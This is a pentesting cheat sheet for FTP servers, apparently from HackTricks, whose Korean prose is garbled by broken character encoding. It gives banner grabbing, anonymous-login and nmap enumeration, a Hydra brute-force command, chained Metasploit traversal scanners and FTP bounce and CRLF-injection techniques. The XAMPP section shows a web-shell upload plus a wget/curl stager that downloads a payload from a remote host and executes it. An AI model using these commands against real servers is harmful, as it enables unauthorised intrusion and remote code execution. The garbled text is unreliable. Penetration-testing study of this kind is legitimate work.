21 - Pentesting FTP
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
The **File Transfer Protocol (FTP)**๋ ์๋ฒ์ ํด๋ผ์ด์ธํธ ๊ฐ์ ์ปดํจํฐ ๋คํธ์ํฌ์์ ํ์ผ ์ ์ก์ ์ํ ํ์ค ํ๋กํ ์ฝ์
๋๋ค.
์ด ํ๋กํ ์ฝ์ plain-text ํ๋กํ ์ฝ๋ก, **new line character 0x0d 0x0a**๋ฅผ ์ฌ์ฉํ๋ฏ๋ก ๋๋๋ก telnet ๋๋ **nc -C**๋ก ์ฐ๊ฒฐํด์ผ ํฉ๋๋ค.
๊ธฐ๋ณธ ํฌํธ: 21
PORT STATE SERVICE
21/tcp open ftp
์ฐ๊ฒฐ Active & Passive
In Active FTP the FTP client first ์์ํฉ๋๋ค the control connection from its port N to FTP Servers command port โ port 21. The client then ์์ ๋๊ธฐํฉ๋๋ค to port N+1 and sends the port N+1 to FTP Server. FTP Server then ์์ํฉ๋๋ค the data connection, from its port M to the port N+1 of the FTP Client.
ํ์ง๋ง, FTP Client๊ฐ ์ธ๋ถ์์ ๋ค์ด์ค๋ ๋ฐ์ดํฐ ์ฐ๊ฒฐ์ ์ ์ดํ๋ firewall ์ค์ ์ด ๋์ด ์๋ค๋ฉด active FTP๋ ๋ฌธ์ ๊ฐ ๋ ์ ์์ต๋๋ค. ๊ทธ๋ฆฌ๊ณ , ๊ทธ์ ๋ํ ํ์ค์ ์ธ ํด๊ฒฐ์ฑ ์ Passive FTP์ ๋๋ค.
In Passive FTP, the client ์์ํฉ๋๋ค the control connection from its port N to the port 21 of FTP Server. After this, the client issues a passv comand. The server then sends the client one of its port number M. And the client ์์ํฉ๋๋ค the data connection from its port P to port M of the FTP Server.
Source: https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/
Connection debugging
The FTP commands debug and trace can be used to see ํต์ ์ด ์ด๋ป๊ฒ ์ผ์ด๋๊ณ ์๋์ง.
Enumeration
Banner Grabbing
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
starttls๋ฅผ ์ฌ์ฉํ์ฌ FTP์ ์ฐ๊ฒฐ
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password
Unauth enum
nmap ์ฌ์ฉ
sudo nmap -sV -p21 -sC -A 10.10.10.10
FTP ์๋ฒ์ ๋ํ ์ ๋ณด๋ฅผ ์ป๊ธฐ ์ํด HELP์ FEAT ๋ช
๋ น์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
HELP
214-The following commands are recognized (* =>'s unimplemented):
214-CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
214-EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
214-XRMD MKD XMKD PWD XPWD SIZE SYST HELP
214-NOOP FEAT OPTS AUTH CCC* CONF* ENC* MIC*
214-PBSZ PROT TYPE STRU MODE RETR STOR STOU
214-APPE REST ABOR USER PASS ACCT* REIN* LIST
214-NLST STAT SITE MLSD MLST
214 Direct comments to root@drei.work
FEAT
211-Features:
PROT
CCC
PBSZ
AUTH TLS
MFF modify;UNIX.group;UNIX.mode;
REST STREAM
MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*;
UTF8
EPRT
EPSV
LANG en-US
MDTM
SSCN
TVFS
MFMT
SIZE
211 End
STAT
#Info about the FTP server (version, configs, status...)
์ต๋ช ๋ก๊ทธ์ธ
anonymous : anonymous
_anonymous :
_ftp : ftp
ftp <IP>
>anonymous
>anonymous
>ls -a # List all files (even hidden) (yes, they could be hidden)
>binary #Set transmission to binary instead of ascii
>ascii #Set transmission to ascii instead of binary
>bye #exit
Brute force
์ฌ๊ธฐ์์ ๊ธฐ๋ณธ ftp ์๊ฒฉ ์ฆ๋ช ๋ชฉ๋ก์ ํ์ธํ ์ ์์ต๋๋ค: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
์๋ํ
Anon login ๋ฐ bounce FTP ๊ฒ์ฌ๋ ๊ธฐ๋ณธ์ ์ผ๋ก nmap์ด -sC ์ต์ ์ผ๋ก ์ํํฉ๋๋ค. ๋๋:
nmap --script ftp-* -p 21 <ip>
๋ธ๋ผ์ฐ์ ์ฐ๊ฒฐ
๋ค์๊ณผ ๊ฐ์ URL์ ์ฌ์ฉํ์ฌ ๋ธ๋ผ์ฐ์ (์: Firefox)๋ก FTP ์๋ฒ์ ์ฐ๊ฒฐํ ์ ์์ต๋๋ค:
ftp://anonymous:anonymous@10.10.10.98
Note that if a web application is sending data controlled by a user directly to a FTP server you can send double URL encode %0d%0a (in double URL encode this is %250d%250a) bytes and make the FTP server perform arbitrary actions. One of this possible arbitrary actions is to download content from a users controlled server, perform port scanning or try to talk to other plain-text based services (like http).
FTP์์ ๋ชจ๋ ํ์ผ ๋ค์ด๋ก๋
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
์ฌ์ฉ์/๋น๋ฐ๋ฒํธ์ ํน์ ๋ฌธ์๊ฐ ์๋ ๊ฒฝ์ฐ, following command์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
FTP root mapped to webroot (XAMPP)
- XAMPP/ProFTPD๋ ์ข
์ข
FTP root๋ฅผ
/opt/lampp/htdocs์ ๋งคํํ๋ฏ๋ก,daemon๋๋nobody๊ฐ์ ์๋น์ค ๊ณ์ ์ ์ฝํ ์๊ฒฉ์ฆ๋ช ์ผ๋ก ์ ๊ณต๋๋ webroot์ PHP web shell์ ์ง์ ์ ๋ก๋ํ ์ ์์ต๋๋ค. - ์
๋ก๋ ํ, ์
ธ์ ํตํด architecture-aware download/exec stager๋ฅผ ํธ๋ฆฌ๊ฑฐํ์ธ์. ์:
webshell.php?dmc=(wget -qO - http://<compromised_host_ip>/.x/?x=x86 || curl http://<compromised_host_ip>/.x/?x=x86), ์ด ์คํ ์ด์ ๋ ์ฒดํฌ์ฌ์ผ๋ก ๊ฒ์ฆ๋ ํ์ด๋ก๋๋ฅผ ๊ฐ์ ธ์ ์ ์ฅ(์:init_start),chmod +x๋ฅผ ์ค์ ํ๊ณ ์คํํฉ๋๋ค. - ํ์ฌ ๋๋ ํฐ๋ฆฌ๊ฐ ์ฐ๊ธฐ/์คํ ๋ถ๊ฐํ๋ฉด ์คํ
์ด์ ๋
/tmp๋ก ๋์ฒด๋๋ฏ๋ก, ์ ๋ก๋ ํ ์น ๊ฒฝ๋ก์ ํ์ผ์์คํ ๊ถํ์ ํ ์คํธํ์ธ์.
Some FTP commands
USER usernamePASS passwordHELP์๋ฒ๊ฐ ์ด๋ค ๋ช ๋ น์ ์ง์ํ๋์ง ํ์ํฉ๋๋คPORT 127,0,0,1,0,80์ด ๋ช ๋ น์ FTP ์๋ฒ์ IP 127.0.0.1์ ํฌํธ 80์ผ๋ก ์ฐ๊ฒฐ์ ์ค์ ํ๋๋ก ์ง์ํฉ๋๋ค (5๋ฒ์งธ ๊ฐ์ โ0โ์ผ๋ก ๋๊ณ 6๋ฒ์งธ ๊ฐ์ ํฌํธ์ ์ญ์ง์๋ก ๋ฃ๊ฑฐ๋, 5๋ฒ์งธ์ 6๋ฒ์งธ๋ฅผ ์ฌ์ฉํด ํฌํธ๋ฅผ 16์ง์๋ก ํํํ ์ ์์ต๋๋ค).EPRT |2|127.0.0.1|80|์ด ๋ช ๋ น์ FTP ์๋ฒ์ IP 127.0.0.1์ ํฌํธ 80์ผ๋ก TCP ์ฐ๊ฒฐ(โ2โ๋ก ํ์)์ ์ค์ ํ๋๋ก ์ง์ํฉ๋๋ค. ์ด ๋ช ๋ น์ IPv6๋ฅผ ์ง์ํฉ๋๋ค.LISTํ์ฌ ํด๋์ ํ์ผ ๋ชฉ๋ก์ ์ ์กํฉ๋๋คLIST -R์ฌ๊ท์ ์ผ๋ก ๋ชฉ๋ก์ ํ์ํฉ๋๋ค(์๋ฒ๊ฐ ํ์ฉํ๋ ๊ฒฝ์ฐ)APPE /path/something.txt์ด ๋ช ๋ น์ FTP์๊ฒ passive ์ฐ๊ฒฐ ๋๋ PORT/EPRT ์ฐ๊ฒฐ๋ก ๋ฐ์ ๋ฐ์ดํฐ๋ฅผ ํ์ผ๋ก ์ ์ฅํ๋๋ก ์ง์ํฉ๋๋ค. ํ์ผ๋ช ์ด ์กด์ฌํ๋ฉด ๋ฐ์ดํฐ๋ฅผ ๋ง๋ถ์ ๋๋ค.STOR /path/something.txtAPPE์ ์ ์ฌํ์ง๋ง ํ์ผ์ ๋ฎ์ด์๋๋คSTOU /path/something.txtAPPE์ ์ ์ฌํ๋ ํ์ผ์ด ์กด์ฌํ๋ฉด ์๋ฌด ์์ ๋ ํ์ง ์์ต๋๋ค.RETR /path/to/filepassive ๋๋ port ์ฐ๊ฒฐ์ด ์๋ฆฝ๋์ด์ผ ํฉ๋๋ค. ๊ทธ๋ฐ ๋ค์, FTP ์๋ฒ๋ ํด๋น ์ฐ๊ฒฐ์ ํตํด ์ง์ ๋ ํ์ผ์ ์ ์กํฉ๋๋คREST 6๋ค์์RETR๋ก ์ ์กํ ๋ 6๋ฒ์งธ ๋ฐ์ดํธ๋ถํฐ ์์ํ๋๋ก ์๋ฒ์ ์ง์ํฉ๋๋ค.TYPE i์ ์ก์ ๋ฐ์ด๋๋ฆฌ๋ก ์ค์ ํฉ๋๋คPASVpassive ์ฐ๊ฒฐ์ ์ด๊ณ ์ฌ์ฉ์๊ฐ ์ด๋์ ์ฐ๊ฒฐํ ์ ์๋์ง ์๋ ค์ค๋๋คPUT /tmp/file.txt์ง์ ๋ ํ์ผ์ FTP์ ์ ๋ก๋ํฉ๋๋ค
.png)
FTPBounce attack
์ผ๋ถ FTP ์๋ฒ๋ PORT ๋ช ๋ น์ ํ์ฉํฉ๋๋ค. ์ด ๋ช ๋ น์ ์๋ฒ์๊ฒ ๋ค๋ฅธ FTP ์๋ฒ์ ํน์ ํฌํธ๋ก ์ฐ๊ฒฐํ๋๋ก ์ง์ํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค. ์ด๋ฅผ ํตํด FTP ์๋ฒ๋ฅผ ํตํด ํธ์คํธ์ ์ด๋ค ํฌํธ๊ฐ ์ด๋ ค ์๋์ง ์ค์บํ ์ ์์ต๋๋ค.
์ฌ๊ธฐ์์ FTP ์๋ฒ๋ฅผ ์ ์ฉํด ํฌํธ๋ฅผ ์ค์บํ๋ ๋ฐฉ๋ฒ์ ๋ฐฐ์ฐ์ธ์.
์ด ๋์์ ์
์ฉํด FTP ์๋ฒ๊ฐ ๋ค๋ฅธ ํ๋กํ ์ฝ๊ณผ ์ํธ์์ฉํ๋๋ก ๋ง๋ค ์๋ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด HTTP ์์ฒญ์ ํฌํจํ ํ์ผ์ ์
๋ก๋ํ๊ณ ์ทจ์ฝํ FTP ์๋ฒ๊ฐ ์ด๋ฅผ ์์์ HTTP ์๋ฒ๋ก ์ ์กํ๊ฒ ํ ์ ์์ต๋๋ค (์: ์ ๊ด๋ฆฌ์ ๊ณ์ ์ถ๊ฐ?) ๋๋ FTP ์์ฒญ์ ์
๋ก๋ํด ์ทจ์ฝ FTP ์๋ฒ๊ฐ ๋ค๋ฅธ FTP ์๋ฒ์์ ํ์ผ์ ๋ค์ด๋ก๋ํ๊ฒ ๋ง๋ค ์๋ ์์ต๋๋ค.
์ด๋ก ์ ๋จ์ํฉ๋๋ค:
- ์์ฒญ(ํ
์คํธ ํ์ผ ๋ด๋ถ)์ ์ทจ์ฝ ์๋ฒ์ ์
๋ก๋ํฉ๋๋ค. ๋ค๋ฅธ HTTP ๋๋ FTP ์๋ฒ์ ํต์ ํ๋ ค๋ฉด ์ค ๋์
0x0d 0x0a๋ก ๋ณ๊ฒฝํด์ผ ํจ์ ๊ธฐ์ตํ์ธ์ - ์ํ์ง ์๋ ๋ฌธ์๋ฅผ ์ ์กํ์ง ์๋๋ก
REST X๋ฅผ ์ฌ์ฉํ์ธ์ (์: ์์ฒญ์ ํ์ผ ๋ด๋ถ์ ๋ฃ๊ธฐ ์ํด ์์ ๋ถ๋ถ์ ์ด๋ฏธ์ง ํค๋๋ฅผ ๋ฃ์ด์ผ ํ ๋) PORT๋ฅผ ์ฌ์ฉํด ์์์ ์๋ฒ์ ์๋น์ค์ ์ฐ๊ฒฐํฉ๋๋คRETR๋ฅผ ์ฌ์ฉํด ์ ์ฅ๋ ์์ฒญ์ ์๋ฒ๋ก ์ ์กํฉ๋๋ค.
์ด ๋ฐฉ๋ฒ์ ์ฐ๊ฒฐ์ด RETR๋ก ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๊ธฐ์ ์ถฉ๋ถํ ์ค๋ ์ง์๋์ง ์์ Socket not writable ๊ฐ์ ์ค๋ฅ๋ฅผ ๋ฐ์์ํฌ ๊ฐ๋ฅ์ฑ์ด ํฝ๋๋ค. ์ด๋ฅผ ํผํ๊ธฐ ์ํ ์ ์์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- HTTP ์์ฒญ์ ์ ์กํ๋ ๊ฒฝ์ฐ, ๊ฐ์ ์์ฒญ์ ์ฐ์์ผ๋ก ๋ฐ๋ณตํ์ฌ ์ต์ ~0.5MB ์ ๋๊ฐ ๋ ๋๊น์ง ์ฑ์๋ณด์ธ์. ์:
- ํ๋กํ ์ฝ์ ๋ง๋ โ์ ํฌโ ๋ฐ์ดํฐ๋ก ์์ฒญ์ ์ฑ์๋ณด์ธ์ (FTP์ ํต์ ํ ๊ฒฝ์ฐ ์ ํฌ ๋ช
๋ น์ ๋ฃ๊ฑฐ๋
RETR๋ช ๋ น์ ๋ฐ๋ณตํ์ฌ ํ์ผ์ ์ป์ผ๋ ค ์๋) - ๋จ์ํ ๋ง์ ๋ ๋ฌธ์ ๋ฑ์ผ๋ก ์์ฒญ์ ์ฑ์๋ณด์ธ์ (๋ผ์ธ์ผ๋ก ๋๋์ด๋ ๋๊ณ ์๋ ์๋ ์์)
์ด์จ๋ , ์ฌ๊ธฐ์ ์ด ๋์์ ์ ์ฉํด FTP ์๋ฒ๊ฐ ๋ค๋ฅธ FTP ์๋ฒ์์ ํ์ผ์ ๋ค์ด๋ก๋ํ๊ฒ ๋ง๋๋ ์ค๋๋ ์์๊ฐ ์์ต๋๋ค.
Filezilla Server Vulnerability
FileZilla๋ ์ผ๋ฐ์ ์ผ๋ก ๋ก์ปฌ์์ FileZilla-Server์ ๊ด๋ฆฌ ์๋น์ค(ํฌํธ 14147)์ bindsํฉ๋๋ค. ๋ง์ฝ your machine์์ ์ด ํฌํธ์ ์ ๊ทผํ ์ ์๋๋ก ํฐ๋์ ์์ฑํ ์ ์๋ค๋ฉด, **๋น ๋น๋ฐ๋ฒํธ(blank password)**๋ก ์ ์ํ์ฌ FTP ์๋น์ค์ฉ ์ ์ฌ์ฉ์๋ฅผ ์์ฑํ ์ ์์ต๋๋ค.
Config files
ftpusers
ftp.conf
proftpd.conf
vsftpd.conf
Post-Exploitation
vsFTPd์ ๊ธฐ๋ณธ ์ค์ ์ /etc/vsftpd.conf์ ์์ต๋๋ค. ์ฌ๊ธฐ์์ ๋ช ๊ฐ์ง ์ํํ ์ค์ ์ ์ฐพ์ ์ ์์ต๋๋ค:
anonymous_enable=YESanon_upload_enable=YESanon_mkdir_write_enable=YESanon_root=/home/username/ftp- ์ต๋ช ์ฌ์ฉ์๋ฅผ ์ํ ๋๋ ํฐ๋ฆฌ.chown_uploads=YES- ์ต๋ช ์ผ๋ก ์ ๋ก๋๋ ํ์ผ์ ์์ ๊ถ์ ๋ณ๊ฒฝํจchown_username=username- ์ต๋ช ์ผ๋ก ์ ๋ก๋๋ ํ์ผ์ ์์ ์๋ก ์ง์ ๋๋ ์ฌ์ฉ์local_enable=YES- ๋ก์ปฌ ์ฌ์ฉ์์ ๋ก๊ทธ์ธ์ ํ์ฉno_anon_password=YES- ์ต๋ช ์๊ฒ ๋น๋ฐ๋ฒํธ๋ฅผ ์๊ตฌํ์ง ์์write_enable=YES- ๋ค์ ๋ช ๋ น ํ์ฉ: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE
Shodan
ftpport:21
HackTricks Automatic Commands
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
Protocol_Description: File Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for FTP
Note: |
Anonymous Login
-bi <<< so that your put is done via binary
wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
^^to download all dirs and files
wget --no-passive-ftp --mirror 'ftp://anonymous:anonymous@10.10.10.98'
if PASV transfer is disabled
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html
Entry_2:
Name: Banner Grab
Description: Grab FTP Banner via telnet
Command: telnet -n {IP} 21
Entry_3:
Name: Cert Grab
Description: Grab FTP Certificate if existing
Command: openssl s_client -connect {IP}:21 -starttls ftp
Entry_4:
Name: nmap ftp
Description: Anon login and bounce FTP checks are performed
Command: nmap --script ftp-* -p 21 {IP}
Entry_5:
Name: Browser Connection
Description: Connect with Browser
Note: ftp://anonymous:anonymous@{IP}
Entry_6:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -t 1 -l {Username} -P {Big_Passwordlist} -vV {IP} ftp
Entry_7:
Name: consolesless mfs enumeration ftp
Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
์ฐธ๊ณ ์๋ฃ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


